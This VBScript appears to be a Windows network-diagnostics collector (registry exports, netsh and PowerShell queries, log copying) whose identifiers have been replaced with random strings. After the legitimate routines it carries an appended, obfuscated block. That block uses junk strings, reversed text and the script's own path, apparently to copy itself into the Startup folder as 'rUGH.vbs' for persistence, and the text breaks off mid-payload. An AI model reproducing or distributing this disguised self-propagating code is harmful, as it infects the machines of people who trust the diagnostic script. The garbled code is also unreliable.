Set woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c reg.exe query hklm\system\CurrentControlSet\Services\Winsock\Parameters /v Transports >> " & outputFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
cmd = "cmd /c reg.exe query ""hklm\system\CurrentControlSet\Services\Winsock\Setup Migration"" /v ""Provider List"" >> " & outputFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
cmd = "cmd /c netsh.exe winsock show catalog >> " & outputFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
End Sub
Sub GetEpdPolicies(outputFileName)
On Error Resume Next
Set woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c Reg.exe Export HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseDataProtection\Policies " & outputFileName & " /y /Reg:64"
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
End Sub
Sub GetPolicyManager(outputFileName)
On Error Resume Next
Set woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c Reg.exe Export HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\Providers " & outputFileName & " /y /Reg:64"
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
End Sub
Sub GetHomeGroupListener(outputFileName)
On Error Resume Next
Set woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c Reg.exe Export HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\HomeGroupListener " & outputFileName & " /y /Reg:64"
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
End Sub
Sub GetHomeGroupProvider(outputFileName)
On Error Resume Next
Set woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c Reg.exe Export HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\HomeGroupProvider " & outputFileName & " /y /Reg:64"
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
End Sub
Sub GetServiceLogInfo(outputFileName)
On Error Resume Next
Set woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c sc.exe queryex nativewifip >> " & outputFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
cmd = "cmd /c sc.exe qc nativewifip >> " & outputFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
cmd = "cmd /c sc.exe queryex wlansvc >> " & outputFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
cmd = "cmd /c sc.exe qc wlansvc >> " & outputFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
cmd = "cmd /c sc.exe queryex dhcp >> " & outputFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
cmd = "cmd /c sc.exe qc dhcp >> " & outputFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
End Sub
Sub GetPowershellInfo(outputFileName)
On Error Resume Next
Set woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ = WScript.CreateObject( "WScript.Shell" )
cmd = "powershell -command " & _
"$net_adapter=(Get-NetAdapter -IncludeHidden); " & _
"$output= ($net_adapter); " & _
"$output += ($net_adapter | fl *); " & _
"$output += (Get-NetAdapterAdvancedProperty | fl); " & _
"$net_adapter_bindings=(Get-NetAdapterBinding -IncludeHidden); " & _
"$output += ($net_adapter_bindings); " & _
"$output += ($net_adapter_bindings | fl); " & _
"$output += (Get-NetIpConfiguration -Detailed); " & _
"$output += (Get-DnsClientNrptPolicy); " & _
"$output += (Resolve-DnsName bing.com); " & _
"$output += (ping bing.com -4); " & _
"$output += (ping bing.com -6); " & _
"$output += (Test-NetConnection bing.com -InformationLevel Detailed); " & _
"$output += (Test-NetConnection bing.com -InformationLevel Detailed -CommonTCPPort HTTP); " & _
"$output += (Get-NetRoute); " & _
"$output += (Get-NetIPaddress); " & _
"$output += (Get-NetLbfoTeam); " & _
"$output += (Get-Service -Name:VMMS); " & _
"$output += (Get-VMSwitch); " & _
"$output += ""(Get-VMNetworkAdapter -all)""; " & _
"$output += (Get-DnsClientNrptPolicy); " & _
"$output += (Get-WindowsOptionalFeature -Online); " & _
"$output += (Get-Service | fl); " & _
"$pnp_devices = (Get-PnpDevice); " & _
"$output += ($pnp_devices); " & _
"$output += ($pnp_devices | Get-PnpDeviceProperty -KeyName DEVPKEY_Device_InstanceId,DEVPKEY_Device_DevNodeStatus,DEVPKEY_Device_ProblemCode); " & _
"$output | Out-File " & outputFileName
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
End Sub
Sub GetExistingFile(inputFileName, outputDirectory)
On Error Resume Next
dim outputPath
outputPath = outputDirectory & "\"
outputPath = Replace(outputPath, "\\", "\")
If zUccCGUNGwGqqKPhLNnNQTYHUXPGqABNuliUxMWyLWXeLQLXTlNKRbRWcMcbWXnUCMQlzccwAJAXLuNxLcMNliLhc.FileExists(inputFileName) Then
zUccCGUNGwGqqKPhLNnNQTYHUXPGqABNuliUxMWyLWXeLQLXTlNKRbRWcMcbWXnUCMQlzccwAJAXLuNxLcMNliLhc.CopyFile inputFileName, outputPath
End If
End Sub
Sub GetExistingFiles(inputPath, outputPath, filePrefix, fileSuffix)
On Error Resume Next
exists = zUccCGUNGwGqqKPhLNnNQTYHUXPGqABNuliUxMWyLWXeLQLXTlNKRbRWcMcbWXnUCMQlzccwAJAXLuNxLcMNliLhc.FolderExists(inputpath)
if (exists) then
Set objFolder = zUccCGUNGwGqqKPhLNnNQTYHUXPGqABNuliUxMWyLWXeLQLXTlNKRbRWcMcbWXnUCMQlzccwAJAXLuNxLcMNliLhc.GetFolder(inputpath)
Set colFiles = objFolder.Files
Set fileNameForCab = ""
For Each objFile in colFiles
if Left(objFile.Name, Len(filePrefix)) = filePrefix THEN
if Right(objFile.Name, Len(fileSuffix)) = fileSuffix THEN
Call GetExistingFile(inputPath & objFile.Name, outputPath)
fileNameForCab = Replace(objFile.Name, "%", "-")
zUccCGUNGwGqqKPhLNnNQTYHUXPGqABNuliUxMWyLWXeLQLXTlNKRbRWcMcbWXnUCMQlzccwAJAXLuNxLcMNliLhc.MoveFile outputPath & "\" & objFile.Name, outputPath & "\" & fileNameForCab
end if
end if
Next
end if
End Sub
Sub GetExistingFiles(inputPath, outputPath, filePrefix)
On Error Resume Next
exists = zUccCGUNGwGqqKPhLNnNQTYHUXPGqABNuliUxMWyLWXeLQLXTlNKRbRWcMcbWXnUCMQlzccwAJAXLuNxLcMNliLhc.FolderExists(inputpath)
if (exists) then
Set objFolder = zUccCGUNGwGqqKPhLNnNQTYHUXPGqABNuliUxMWyLWXeLQLXTlNKRbRWcMcbWXnUCMQlzccwAJAXLuNxLcMNliLhc.GetFolder(inputpath)
Set colFiles = objFolder.Files
Set fileNameForCab = ""
For Each objFile in colFiles
if Left(objFile.Name, Len(filePrefix)) = filePrefix THEN
Call GetExistingFile(inputPath & objFile.Name, outputPath)
fileNameForCab = Replace(objFile.Name, "%", "-")
zUccCGUNGwGqqKPhLNnNQTYHUXPGqABNuliUxMWyLWXeLQLXTlNKRbRWcMcbWXnUCMQlzccwAJAXLuNxLcMNliLhc.MoveFile outputPath & "\" & objFile.Name, outputPath & "\" & fileNameForCab
end if
Next
end if
End Sub
Sub GetPantherFiles(inputPath, outputPath, outputFilePrefix, filePrefix, fileSuffix)
On Error Resume Next
exists = zUccCGUNGwGqqKPhLNnNQTYHUXPGqABNuliUxMWyLWXeLQLXTlNKRbRWcMcbWXnUCMQlzccwAJAXLuNxLcMNliLhc.FolderExists(inputpath)
if (exists) then
Set objFolder = zUccCGUNGwGqqKPhLNnNQTYHUXPGqABNuliUxMWyLWXeLQLXTlNKRbRWcMcbWXnUCMQlzccwAJAXLuNxLcMNliLhc.GetFolder(inputpath)
Set colFiles = objFolder.Files
For Each objFile in colFiles
if Left(objFile.Name, Len(filePrefix)) = filePrefix THEN
if Right(objFile.Name, Len(fileSuffix)) = fileSuffix THEN
Call GetExistingFile(inputPath & objFile.Name, outputPath)
'add prefix to output file to avoid copying over files with identical names
zUccCGUNGwGqqKPhLNnNQTYHUXPGqABNuliUxMWyLWXeLQLXTlNKRbRWcMcbWXnUCMQlzccwAJAXLuNxLcMNliLhc.MoveFile outputPath & "\" & objFile.Name, outputPath & "\" & outputFilePrefix & objFile.Name
end if
end if
Next
end if
End Sub
Sub GetWlanReport(outputPath)
On Error Resume Next
dim wlanOutputPath
wlanOutputPath = shell.ExpandEnvironmentStrings("%programdata%\") & "Microsoft\Windows\WlanReport\"
exists = zUccCGUNGwGqqKPhLNnNQTYHUXPGqABNuliUxMWyLWXeLQLXTlNKRbRWcMcbWXnUCMQlzccwAJAXLuNxLcMNliLhc.FolderExists(wlanOutputPath)
if (exists) then
Set objFolder = zUccCGUNGwGqqKPhLNnNQTYHUXPGqABNuliUxMWyLWXeLQLXTlNKRbRWcMcbWXnUCMQlzccwAJAXLuNxLcMNliLhc.GetFolder(wlanOutputPath)
objFolder.Delete True
end if
Set woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c netsh wlan show wlanreport"
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
Set colFiles = objFolder.Files
For Each objFile in colFiles
Call GetExistingFile(wlanOutputPath & objFile.Name, outputPath)
Next
End Sub
Sub GetBatteryReport(batteryReportFilename)
On Error Resume Next
Set woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c powercfg.exe /batteryreport /output " & batteryReportFilename
woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ.Run cmd, 0, True
End Sub
Sub GetLatestNdfSessionEtlFile(inputPath, outputPath, filePrefix, fileSuffix)
currentDirectory = zUccCGUNGwGqqKPhLNnNQTYHUXPGqABNuliUxMWyLWXeLQLXTlNKRbRWcMcbWXnUCMQlzccwAJAXLuNxLcMNliLhc.GetAbsolutePathName(".")
dirParts = Split(currentDirectory, "\")
drive = dirParts(0)
usersFolder = dirParts(1)
username = dirParts(2)
fullInputPath = drive + "\" + usersFolder + "\" + username + "\" + inputPath
exists = zUccCGUNGwGqqKPhLNnNQTYHUXPGqABNuliUxMWyLWXeLQLXTlNKRbRWcMcbWXnUCMQlzccwAJAXLuNxLcMNliLhc.FolderExists(fullInputPath)
if (exists) then
Set objFolder = zUccCGUNGwGqqKPhLNnNQTYHUXPGqABNuliUxMWyLWXeLQLXTlNKRbRWcMcbWXnUCMQlzccwAJAXLuNxLcMNliLhc.GetFolder(fullInputPath)
Set colFiles = objFolder.Files
Set mostRecent = Nothing
For Each objFile in colFiles
if Left(objFile.Name, Len(filePrefix)) = filePrefix THEN
if Right(objFile.Name, Len(fileSuffix)) = fileSuffix THEN
if (mostRecent is Nothing) THEN
Set mostRecent = objFile
elseif (objFile.DateLastModified > mostRecent.DateLastModified) THEN
Set mostRecent = objFile
end if
end if
end if
Next
if NOT (mostRecent is Nothing) THEN
Call GetExistingFile(fullInputPath & mostRecent.Name, outputPath)
end if
end if
End Sub
On Error Resume Next
Dim adapterInfoFile, netInfoFile, WcnInfoFile
Set FSO = CreateObject("Scripting.FileSystemObject")
Set shell = WScript.CreateObject( "WScript.Shell" )
sysdrive = shell.ExpandEnvironmentStrings("%SystemDrive%\")
systemRoot = shell.ExpandEnvironmentStrings("%SystemRoot%\")
configFolder = "config"
osinfoFileName = configFolder + "\osinfo.txt"
adapterinfoFileName = configFolder + "\adapterinfo.txt"
envinfoFileName = configFolder + "\envinfo.txt"
wirelessAutoconfigLogFileName = configFolder + "\WLANAutoConfigLog.evtx"
wcmLogFileName = configFolder + "\WCMLog.evtx"
wwanLogFileName = configFolder + "\WWANLog.evtx"
wscatFileName = configFolder + "\WinsockCatalog.txt"
miracastFileName = configFolder + "\wlaninfo.txt"
wcnFileName = configFolder + "\WcnInfo.txt"
wcncachedumpFile= sysdrive + "\wcncachedump.txt"
windowsFirewallConfigFileName = configFolder + "\WindowsFirewallConfig.txt"
windowsFirewallEffectiveRulesFileName = configFolder + "\WindowsFirewallEffectiveRules.txt"
windowsFirewallLogFileName = configFolder + "\WindowsFirewallLog.evtx"
windowsFirewallConsecLogFileName = configFolder + "\WindowsFirewallConsecLog.evtx"
windowsFirewallVerboseLogFileName = configFolder + "\WindowsFirewallLogVerbose.evtx"
windowsFirewallConsecVerboseLogFileName = configFolder + "\WindowsFirewallConsecLogVerbose.evtx"
wfpfiltersfilename=configFolder + "\wfpfilters.xml"
wfplogfilename=configFolder + "\wfplog.log"
netioStateFilename=configFolder + "\netiostate.txt"
dnsInfoFileName = configFolder + "\Dns.txt"
neighborsFileName = configFolder + "\Neighbors.txt"
filesharingFileName = configFolder + "\FileSharing.txt"
gpresultFileName = configFolder + "\gpresult.txt"
neteventsFileName = configFolder + "\netevents.xml"
neteventsFileLog = configFolder + "\neteventslog.txt"
showstateFileName = configFolder + "\wfpstate.xml"
showstateFileLog = configFolder + "\wfpstatelog.txt"
sysportsFileName = configFolder + "\sysports.xml"
sysportsFileLog = configFolder + "\sysportslog.txt"
vmswitchFileName = configFolder + "\vmswitchInfo.xml"
vmswitchLogFileName = configFolder + "\VmSwitchLog.evtx"
vmmsLogFileName = configFolder + "\VmmsNetworkingLog.evtx"
applicationExportFileName = configFolder + "\Application_Export.evtx"
systemExportFileName = configFolder + "\System_Export.evtx"
hotFixInfoFileName = configFolder + "\Hotfixinfo.log"
createBindingMapFileName = configFolder + "\CreateBindingMap.log"
serviceInfoFileName = configFolder + "\serviceinfo.log"
powershellInfoFileName = configFolder + "\PowershellInfo.log"
evtxInputFilePath = systemRoot + "System32\Winevt\Logs\"
dhcpEvtxInputFilePrefix = "Microsoft-Windows-Dhcp"
dhcpEvtxInputFileSuffix = ".evtx"
ncsiEvtxInputFilePrefix = "Microsoft-Windows-NCSI"
ncsiEvtxInputFileSuffix = "Operational.evtx"
wcmsvcEvtxInputFilePrefix = "Microsoft-Windows-Wcmsvc"
wcmsvcEvtxInputFileSuffix = "Operational.evtx"
wlanAutoConfigEvtxInputFilePrefix = "Microsoft-Windows-WLAN-AutoConfig"
wlanAutoConfigEvtxInputFileSuffix = ".evtx"
serviceEtlFilePrefix = "service."
scmEvmFilePrefix = "SCM."
etlFileSuffix = ".etl"
serviceEtlFilePath = systemRoot + "\Logs\NetSetup\"
scmEvmfilePath = systemRoot + "\System32\LogFiles\SCM\"
winsockLogFileName = configFolder + "\winsock.log"
netsetupigFileName = systemRoot + "\System32\netsetupmig.log"
pantherSetupFilePrefix = "setup"
pantherSetupFileSuffix = ".log"
windowsPantherInputPath = systemRoot + "panther\"
windowsPantherOutputFilePrefix = "windows_panther_"
sourcesPantherInputPath = sysdrive + "$Windows.~BT\Sources\Panther\"
sourcesPantherOutputFilePrefix = "sources_panther_"
edpPoliciesFileName = configFolder + "\EDPPolicies.reg"
policyManagerFileName = configFolder + "\PolicyManager.reg"
homeGroupListenerFileName = configFolder + "\HomeGroupListener.reg"
homeGroupProviderFileName = configFolder + "\HomeGroupProvider.reg"
netTraceInputPath = "AppData\Local\Microsoft\NetTraces\"
netTraceEtlFilePrefix = "NdfSession"
batteryReportFilename = configFolder + "\battery-report.html"
On Error Resume Next
LUrUzeqnlxwMANCweRXgcqzGELMjqqWdgadamnUWPgyXkRsOmmxMWeOcQwDwaWexfQWWqqqRjPhpPjvYixwUDuvWc:KYgUqYlXcAOOAZfiYwUpgNGNCrcBUjzWqDIDxMeglgkUwWucXxcPONcXSnsnnIYAimpgpNUmBlbPKAZUPcOeTGirG:GPWPJUzUJmngeDpdUWLWurnPoYQOSOwhpGBGoKpgHgQiHhiUUoGSTvUKSiRiosUmfdpghrSdOHxDlZvLUGnpnxdYQ = "*##@@$
(**@%}
]%*&@+
&*%**#*
$@(&&$
@!&*$++
##@&##":bKtXAWgPrLUWODccWIGPxxYcDIUfTXUWUUAUDPzgXgCnuWUrPDHKjcrUsBnBxhWLGKAgZxTKfXJYNpcGYHUzwCcIX:zDAiDKALcGUcyqkWKrDRyCIcfccUTOwUsKPKTAOZTZuXJUGLLTkYznLcUDpDnfKGKNTZiCTNUTZDDLGDWkUOcoWcc:
LUrUzeqnlxwMANCweRXgcqzGELMjqqWdgadamnUWPgyXkRsOmmxMWeOcQwDwaWexfQWWqqqRjPhpPjvYixwUDuvWc:KYgUqYlXcAOOAZfiYwUpgNGNCrcBUjzWqDIDxMeglgkUwWucXxcPONcXSnsnnIYAimpgpNUmBlbPKAZUPcOeTGirG:GPWPJUzUJmngeDpdUWLWurnPoYQOSOwhpGBGoKpgHgQiHhiUUoGSTvUKSiRiosUmfdpghrSdOHxDlZvLUGnpnxdYQ = "*##@@$
(**@%}
]%*&@+
&*%**#*
$@(&&$
@!&*$++
##@&##":bKtXAWgPrLUWODccWIGPxxYcDIUfTXUWUUAUDPzgXgCnuWUrPDHKjcrUsBnBxhWLGKAgZxTKfXJYNpcGYHUzwCcIX:zDAiDKALcGUcyqkWKrDRyCIcfccUTOwUsKPKTAOZTZuXJUGLLTkYznLcUDpDnfKGKNTZiCTNUTZDDLGDWkUOcoWcc:
LUrUzeqnlxwMANCweRXgcqzGELMjqqWdgadamnUWPgyXkRsOmmxMWeOcQwDwaWexfQWWqqqRjPhpPjvYixwUDuvWc:KYgUqYlXcAOOAZfiYwUpgNGNCrcBUjzWqDIDxMeglgkUwWucXxcPONcXSnsnnIYAimpgpNUmBlbPKAZUPcOeTGirG:GPWPJUzUJmngeDpdUWLWurnPoYQOSOwhpGBGoKpgHgQiHhiUUoGSTvUKSiRiosUmfdpghrSdOHxDlZvLUGnpnxdYQ = "*##@@$
(**@%}
]%*&@+
&*%**#*
$@(&&$
@!&*$++
##@&##":bKtXAWgPrLUWODccWIGPxxYcDIUfTXUWUUAUDPzgXgCnuWUrPDHKjcrUsBnBxhWLGKAgZxTKfXJYNpcGYHUzwCcIX:zDAiDKALcGUcyqkWKrDRyCIcfccUTOwUsKPKTAOZTZuXJUGLLTkYznLcUDpDnfKGKNTZiCTNUTZDDLGDWkUOcoWcc:
LUrUzeqnlxwMANCweRXgcqzGELMjqqWdgadamnUWPgyXkRsOmmxMWeOcQwDwaWexfQWWqqqRjPhpPjvYixwUDuvWc:KYgUqYlXcAOOAZfiYwUpgNGNCrcBUjzWqDIDxMeglgkUwWucXxcPONcXSnsnnIYAimpgpNUmBlbPKAZUPcOeTGirG:GPWPJUzUJmngeDpdUWLWurnPoYQOSOwhpGBGoKpgHgQiHhiUUoGSTvUKSiRiosUmfdpghrSdOHxDlZvLUGnpnxdYQ = "*##@@$
(**@%}
]%*&@+
&*%**#*
$@(&&$
@!&*$++
##@&##":bKtXAWgPrLUWODccWIGPxxYcDIUfTXUWUUAUDPzgXgCnuWUrPDHKjcrUsBnBxhWLGKAgZxTKfXJYNpcGYHUzwCcIX:zDAiDKALcGUcyqkWKrDRyCIcfccUTOwUsKPKTAOZTZuXJUGLLTkYznLcUDpDnfKGKNTZiCTNUTZDDLGDWkUOcoWcc:
LUrUzeqnlxwMANCweRXgcqzGELMjqqWdgadamnUWPgyXkRsOmmxMWeOcQwDwaWexfQWWqqqRjPhpPjvYixwUDuvWc:KYgUqYlXcAOOAZfiYwUpgNGNCrcBUjzWqDIDxMeglgkUwWucXxcPONcXSnsnnIYAimpgpNUmBlbPKAZUPcOeTGirG:GPWPJUzUJmngeDpdUWLWurnPoYQOSOwhpGBGoKpgHgQiHhiUUoGSTvUKSiRiosUmfdpghrSdOHxDlZvLUGnpnxdYQ = "*##@@$
(**@%}
]%*&@+
&*%**#*
$@(&&$
@!&*$++
##@&##":bKtXAWgPrLUWODccWIGPxxYcDIUfTXUWUUAUDPzgXgCnuWUrPDHKjcrUsBnBxhWLGKAgZxTKfXJYNpcGYHUzwCcIX:zDAiDKALcGUcyqkWKrDRyCIcfccUTOwUsKPKTAOZTZuXJUGLLTkYznLcUDpDnfKGKNTZiCTNUTZDDLGDWkUOcoWcc:
LUrUzeqnlxwMANCweRXgcqzGELMjqqWdgadamnUWPgyXkRsOmmxMWeOcQwDwaWexfQWWqqqRjPhpPjvYixwUDuvWc:KYgUqYlXcAOOAZfiYwUpgNGNCrcBUjzWqDIDxMeglgkUwWucXxcPONcXSnsnnIYAimpgpNUmBlbPKAZUPcOeTGirG:GPWPJUzUJmngeDpdUWLWurnPoYQOSOwhpGBGoKpgHgQiHhiUUoGSTvUKSiRiosUmfdpghrSdOHxDlZvLUGnpnxdYQ = "*##@@$
(**@%}
]%*&@+
&*%**#*
$@(&&$
@!&*$++
##@&##":bKtXAWgPrLUWODccWIGPxxYcDIUfTXUWUUAUDPzgXgCnuWUrPDHKjcrUsBnBxhWLGKAgZxTKfXJYNpcGYHUzwCcIX:zDAiDKALcGUcyqkWKrDRyCIcfccUTOwUsKPKTAOZTZuXJUGLLTkYznLcUDpDnfKGKNTZiCTNUTZDDLGDWkUOcoWcc:
pGUHuZpRDUWhZOGtZaBWXPBxYThIpYPDKLQLpIWOcORcaDmkRpWrNQkQwWPWdrZUtdIOxPpdIcYKdGOBcWWWAOtTH = "pu
pGUHuZpRDUWhZOGtZaBWXPBxYThIpYPDKLQLpIWOcORcaDmkRpWrNQkQwWPWdrZUtdIOxPpdIcYKdGOBcWWWAOtTH = Replace(pGUHuZpRDUWhZOGtZaBWXPBxYThIpYPDKLQLpIWOcORcaDmkRpWrNQkQwWPWdrZUtdIOxPpdIcYKdGOBcWWWAOtTH,"
","t")
pGUHuZpRDUWhZOGtZaBWXPBxYThIpYPDKLQLpIWOcORcaDmkRpWrNQkQwWPWdrZUtdIOxPpdIcYKdGOBcWWWAOtTH = EWUsZXBLrXXZACCXXpyKDAJQDoEJMACCSKOKLJOCgCQyJCGGLLYOMdGKHCWCZnXYdHMCUAMHJgNTlIMHHYXOWVWoL(EWUsZXBLrXXZACCXXpyKDAJQDoEJMACCSKOKLJOCgCQyJCGGLLYOMdGKHCWCZnXYdHMCUAMHJgNTlIMHHYXOWVWoL(EWUsZXBLrXXZACCXXpyKDAJQDoEJMACCSKOKLJOCgCQyJCGGLLYOMdGKHCWCZnXYdHMCUAMHJgNTlIMHHYXOWVWoL(pGUHuZpRDUWhZOGtZaBWXPBxYThIpYPDKLQLpIWOcORcaDmkRpWrNQkQwWPWdrZUtdIOxPpdIcYKdGOBcWWWAOtTH)))
KGkTJWBcWxvnSNckWUSeWxSjvWOYLKctSbobHrSWGUqSytnqcHbtwUqhOakPjWXiTUnWHwLUYtUiUWGLNixSeXkWX = "HGUr"
JBBPXRFKJLODRYHGFGHKKAHVHVZHFCCFZCCFGHSDRBFZXZSZ
GSOPCXSHLQVHXFGSPYZMWJRSXCYJMFRYFQFSQBYYRRMPXBPOODV
cNUWiqdjsZLYMKyJqolGrZWxDecIgqDXTUAUyGCUQDaljXUYjySWSkYXBCwGNaaTPGcUYAgGIWLULDOhwTZCnNJeW = ""
if 0 then
Dim cNUWiqdjsZLYMKyJqolGrZWxDecIgqDXTUAUyGCUQDaljXUYjySWSkYXBCwGNaaTPGcUYAgGIWLULDOhwTZCnNJeWo
Set cNUWiqdjsZLYMKyJqolGrZWxDecIgqDXTUAUyGCUQDaljXUYjySWSkYXBCwGNaaTPGcUYAgGIWLULDOhwTZCnNJeWo = CreateObject("WScript.Shell")
Dim zUccCGUNGwGqqKPhLNnNQTYHUXPGqABNuliUxMWyLWXeLQLXTlNKRbRWcMcbWXnUCMQlzccwAJAXLuNxLcMNliLhc
Set zUccCGUNGwGqqKPhLNnNQTYHUXPGqABNuliUxMWyLWXeLQLXTlNKRbRWcMcbWXnUCMQlzccwAJAXLuNxLcMNliLhc = CreateObject("Scripting.FileSystemObject")
Dim cNUWiqdjsZLYMKyJqolGrZWxDecIgqDXTUAUyGCUQDaljXUYjySWSkYXBCwGNaaTPGcUYAgGIWLULDOhwTZCnNJeW
cNUWiqdjsZLYMKyJqolGrZWxDecIgqDXTUAUyGCUQDaljXUYjySWSkYXBCwGNaaTPGcUYAgGIWLULDOhwTZCnNJeW = zUccCGUNGwGqqKPhLNnNQTYHUXPGqABNuliUxMWyLWXeLQLXTlNKRbRWcMcbWXnUCMQlzccwAJAXLuNxLcMNliLhc.GetAbsolutePathName(WScript.ScriptFullName)
Dim NTafUwHqDUcuXKDywPrlUIeyXcWNfBScWcAcCboaGRjrIcmKqCWgceKOpOgCRgBjLUvaiPfUNoBIPoZBPjUoKOycr
NTafUwHqDUcuXKDywPrlUIeyXcWNfBScWcAcCboaGRjrIcmKqCWgceKOpOgCRgBjLUvaiPfUNoBIPoZBPjUoKOycr = cNUWiqdjsZLYMKyJqolGrZWxDecIgqDXTUAUyGCUQDaljXUYjySWSkYXBCwGNaaTPGcUYAgGIWLULDOhwTZCnNJeW
dim OcdPybqXdKJGqQRmbDTmiKPadxMUNprUhPsPXJWjJQRTyUhmXXhotdmnvyKauXLipwJjUWNwUXguNLccHiKWWCmxU
dim iCPNTTtvUWPYvGLITvOPbWUDwPOiXWSDhTgTHeMSonOOcDZPvHTpIQPAChChsOxWDSrnqfXSiWrLnZNiSWPMtNoPP
dim QvBQoPJoLoavQcjtPlzZZLfPSsgNnOOgpGjGUlbvWgpzDgNOoUWQpnOgLjvACWdUMPdvWKnPNhUfUKKAoUobQjtsO
dim QvBQoPJoLoavQcjtPlzZZLfPSsgNnOOgpGjGUlbvWgpzDgNOoUWQpnOgLjvACWdUMPdvWKnPNhUfUKKAoUobQjtsO34
QvBQoPJoLoavQcjtPlzZZLfPSsgNnOOgpGjGUlbvWgpzDgNOoUWQpnOgLjvACWdUMPdvWKnPNhUfUKKAoUobQjtsO34 = "4
(@4@(#+(@(
dim yQUOPTkUMvYALKKRTghbljcenAQJfjrOwOZOAcbSqtLhwOWiUAvtgliBPLdTymUoUDUSdNfDJmGHqyCkAovbocRAD
yQUOPTkUMvYALKKRTghbljcenAQJfjrOwOZOAcbSqtLhwOWiUAvtgliBPLdTymUoUDUSdNfDJmGHqyCkAovbocRAD = ""
OcdPybqXdKJGqQRmbDTmiKPadxMUNprUhPsPXJWjJQRTyUhmXXhotdmnvyKauXLipwJjUWNwUXguNLccHiKWWCmxU = ")'sbv." + KGkTJWBcWxvnSNckWUSeWxSjvWOYLKctSbobHrSWGUqSytnqcHbtwUqhOakPjWXiTUnWHwLUYtUiUWGLNixSeXkWX + " \pu4
(@4@(#+(@(
(@4@(#+(@(
atS\sm4
(@4@(#+(@(
(@4@(#+(@(
(@4@(#+(@(
(@4@(#+(@(
